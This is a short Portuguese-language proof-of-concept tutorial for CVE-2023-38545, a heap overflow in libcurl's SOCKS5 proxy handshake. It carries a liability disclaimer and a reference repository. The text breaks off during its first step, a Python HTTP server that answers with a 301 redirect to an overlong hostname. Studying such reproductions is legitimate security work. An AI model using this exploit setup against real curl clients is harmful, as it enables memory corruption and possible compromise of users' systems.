
Exploit de prova de conceito para CVE-2023-38545, um estouro de buffer no heap no handshake de proxy SOCKS5 do libcurl acionado por meio de um redirecionamento HTTP 301 malicioso com um nome de host excessivamente grande.
Este artigo destina-se apenas a discussão técnica e aprendizado. Quaisquer consequências ou perdas diretas ou indiretas causadas pelo uso das informações fornecidas neste artigo são de responsabilidade exclusiva do usuário. O autor do artigo não assume qualquer responsabilidade por isso.
Projeto de referência:https://github.com/UTsweetyfish/CVE-2023-38545 Realize uma reprodução
1. Crie o arquivo Python: server.py, inicie um serviço web que retorna uma resposta 301 com um hostname muito longo, ouvindo na porta 8000, e então execute com python3:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 301重定向到超长的URL
self.send_response(301)